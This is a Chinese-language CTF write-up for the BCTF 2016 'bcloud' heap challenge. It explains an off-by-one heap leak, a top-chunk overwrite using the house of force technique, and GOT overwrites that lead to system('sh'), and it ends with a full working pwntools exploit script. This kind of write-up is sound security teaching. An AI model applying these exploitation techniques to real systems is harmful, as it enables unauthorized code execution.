Attack Top Chunk之 bcloud

前言

这是 bctf 2016 的题，链接

https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200

相关资源

https://gitee.com/hac425/blog_data/tree/master/bcloud

正文

首先程序开启的保护

haclh@ubuntu:~/workplace/bcloud$ checksec bcloud 
[*] '/home/haclh/workplace/bcloud/bcloud'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

Partial RELRO 可以改 got

在  init_some 里面藏着两个非常隐蔽的漏洞。进去看看，首先调用 get_username 获取一个 name

首先使用 read_to_buf 获取 name, 最大大小为 0x40, 然后 malloc 一块内存用于存放 name,

如果我们输入 0x40 个字符， 那么 name[0x41] = x00, 回到 get_username ，我们发现 name 和 ptr 是相邻的

  char name; // [esp+1Ch] [ebp-5Ch]
  char *ptr; // [esp+5Ch] [ebp-1Ch]

那么 name[0x41] 其实就是 ptr 最低字节（小端模式下）， 在 read_to_buf 之后才通过  malloc 把分配的指针存在了 ptr， 所以 ptr 会覆盖掉 read_to_buf 中为字符串设置的 x00 终结符（name[0x41] = x00）， 接着又用了

strcpy(ptr, &name);

来拷贝字符串，这就会把 ptr 的值也拷贝进  ptr 指向的堆内存（溢出）。拷贝完后，紧接着会调用 printf 打印 ptr 所指向的字符串，我们就可以泄露 堆地址

调试验证一下， 输入 0x40 个 a, 然后在调用 strcpy 处下个断点。

可以看到， name 字符串的终结符 x00 已经被 新分配的内存地址 0x0804c008 给吃掉了，调用 strcpy 就会把 ptr 的值一起拷贝进 新分配的内存 0x0804c008 , 接下来的 printf 就会打印出这个地址，这样就能拿到  堆地址 了。

回到 init_some 函数，接下来会调用 set_host_org

和 get_username 一样的漏洞

  char org_; // [esp+1Ch] [ebp-9Ch]
  char *org_ptr; // [esp+5Ch] [ebp-5Ch]
  int host_; // [esp+60h] [ebp-58h]
  char *host_ptr; // [esp+A4h] [ebp-14h]

首先分配读入 org_  和 host_ ,然后分配 host_ptr 和 org_ptr, 其中 org_ 和 org_ptr 是相邻的 ，而 org_ptr 和 host_ 是相邻的，所以当输入 0x40 字节的  org_ 然后 到了最后的

strcpy(org_ptr, &org_);

就会 把 org_ , org_ptr 和 host_ 一起拷贝到  org_ptr 所指向的内存.

由于 org_ptr 是后面 malloc 的，所以 org_ptr 和 top chunk 相邻，于是我们就可以溢出 top chunk, org_ptr 的值会在 top chunk 的 pre_size 为， 而 top chunk 的 size 位则为 host_ 的开始 4 个字节。所以我们现在可以任意修改 top chunk 的 size 位。

然后在 new_note 里面，我们可以控制分配的大小，而且我们可以 分配最多 10 个 note

所以我们现在的能力

可以修改top chunk的 size
可以控制 malloc 的参数
可以malloc的次数 >= 2

house of force 搞起来，通过 house of force  我们可以 malloc 到任意地址。

先覆盖 top chunk 的 size 为 0xffffffff, 然后使用计算公式 ( 32 位）

evil_size = target_addr - 2 * 0x4 - top_chunk_addr

然后在

malloc(evil_size)
ptr = malloc(size)

那么 ptr 就是 target_addr + 2 * 0x4 了( pre_size + size = 2 * 4 )。

再配合程序的 edit_note 就可以实现 任意地址写。

任意地址写的实现如下

首先使用 house of force, 使得 note1 指向 note_ptr_table

接着操作 note1, 就是编辑 note_ptr_table 。同时每次对 note_ptr_table 的操作都要记得 note_ptr_table[1] = note_ptr_table, 这样可以维持编辑 note_ptr_table 的能力，同时在后面可以重用这部分代码来 进行 内存 写。

由于  note0 的 size=evil_size ，其实这是个负数，测试时对 note0 进行 edit 有一两个字节写不进去，于是，多分配一个 note2, 用它来作为 ** 任意地址写** 的载体。

任意地址写的代码片段如下，（懒的抽出来重写一个函数了

为了 getshell, 还差一个 libc 的地址，然而程序里面没有提供 输出的功能，我们可以把 free@got 改成  puts@plt, 之后调用 free(ptr) 就是 puts(ptr) ， 而 ptr 使我们可控的

于是任意地址读实现。

整理一下利用过程

• get_name 处利用漏洞，拿到 heap 的地址，计算 top chunk 的地址
• house of force 分配到 note_ptr_table 的地址
• 利用 edit 功能实现任意地址写
• 把free@got 改成  puts@plt，实现任意地址读
• 读 puts@got 拿到 libc 的基地址
• 修改 aoti@got 为 system
• 发送 sh , 触发 aoti("sh"), 实际执行的是 system("sh")

参考

http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html

最后的 exp

#/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

# context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug')
p = process("./bcloud")

gdb.attach(p,'''
bp 0x08048829
c
    ''')
pause()

p.recvuntil("Input your name:")
p.send("a" * 0x40)



p.recv(0x44)
p.recv(0x44)
heap = u32(p.recv(4)) - 0x8
top_chunk_addr = heap + 216



log.info("got heap: " + hex(heap))
log.info("got top_chunk_addr: " + hex(top_chunk_addr))
pause()

p.recvuntil("Org:")
p.send("b" * 0x40)




payload = p32(0xffffffff)  #  top chunk 的 size 位
payload += "c" * (0x40 - len(payload))
p.recvuntil("Host:")
p.send(payload)

bss_addr = 0x0804B120   #  note_ptr_table 的地址
evil_size = bss_addr - 8 - top_chunk_addr -8 # 计算一个size , 用于在第二次 malloc 是返回 bss_addr
log.info("evil_size: " + hex(evil_size))
log.info("set top chunk size: 0xffffffff")
pause()

p.recvuntil("option--->>")
p.sendline("1")
p.recvuntil("note content:")
p.sendline(str(evil_size - 4))   # malloc(len + 4), note0
p.recvuntil("Input the content:")
p.sendline("a" * 4)

p.recvuntil("option--->>")
p.sendline("1")
p.recvuntil("note content:")
p.sendline(str(0x40))       #  此时分配到 note1,  note1 ---> bss_addr
p.recvuntil("Input the content:")

free_got = 0x0804B014
puts_plt = 0x08048520
puts_got = 0x0804B024
payload = p32(free_got)
payload += p32(bss_addr)  # 为了维持控制，使得 note_ptr_table[1] 的值始终为 note_ptr_table 的地址

p.sendline(payload)


## note 2
p.recvuntil("option--->>")
p.sendline("1")
p.recvuntil("note content:")
p.sendline(str(0x40))
p.recvuntil("Input the content:")
p.sendline("a" * 4)


log.info("note0--->free@got , note1--->ptr_table")
pause()

p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil("Input the id:")
p.sendline(str(1))
p.recvuntil("Input the new content:")

payload = p32(free_got)
payload += p32(bss_addr)
payload += p32(free_got)   # target addr , 要写的地址
payload += p32(puts_got)
p.sendline(payload)

p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil("Input the id:")
p.sendline(str(2))
p.recvuntil("Input the new content:")
p.sendline(p32(puts_plt))   # data to write，要写的数据

log.info("free@got ---> puts_plt")
pause()


p.recvuntil("option--->>")
p.sendline("4")
p.recvuntil("Input the id:")
p.sendline(str(3))

 

libc = u32(p.recvuntil("Delete success.")[1:5]) - 0x5fca0
system = libc + 0x3ada0
log.info("libc: " + hex(libc))
log.info("system: " + hex(system))
pause()



p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil("Input the id:")
p.sendline(str(1))
p.recvuntil("Input the new content:")


aoti_got = 0x0804B03C 
payload = p32(free_got)
payload += p32(bss_addr)
payload += p32(aoti_got)
p.sendline(payload)


p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil("Input the id:")
p.sendline(str(2))
p.recvuntil("Input the new content:")
p.sendline(p32(system))


log.info("aoti--->system")
pause()

p.sendline("sh")
p.interactive()